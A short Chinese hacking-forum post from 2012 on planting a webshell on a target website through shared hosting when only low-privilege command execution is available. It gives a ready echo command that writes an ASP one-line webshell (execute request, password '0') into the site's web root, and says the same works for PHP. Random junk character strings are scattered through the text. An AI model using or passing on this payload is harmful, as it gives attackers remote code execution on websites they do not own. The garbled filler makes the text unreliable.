在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
0 {6 k$ X) a r3 x7 t1 t7 X& D ~; \; p7 q# p3 M" \# H3 ^
命令格式+ h4 n8 g, ~7 V o3 E9 E
/ r% O/ h7 y9 K7 L; AEcho 语句 >目标站绝对目录
2 u# I! n# _9 z% Q4 L9 ^6 O$ g h) v" E# T& Y6 z0 D
例如： ; v! ]6 v! Y1 Z( U0 |
2 W. J% r R Q: y
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp* b! }( T1 K) f" n3 I o# C+ m1 E
: l- r- p' Z1 q$ L这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。# e6 j6 R' U5 J; j1 t" F
|
发表于 2012-9-23 14:40:24
收藏
支持
反对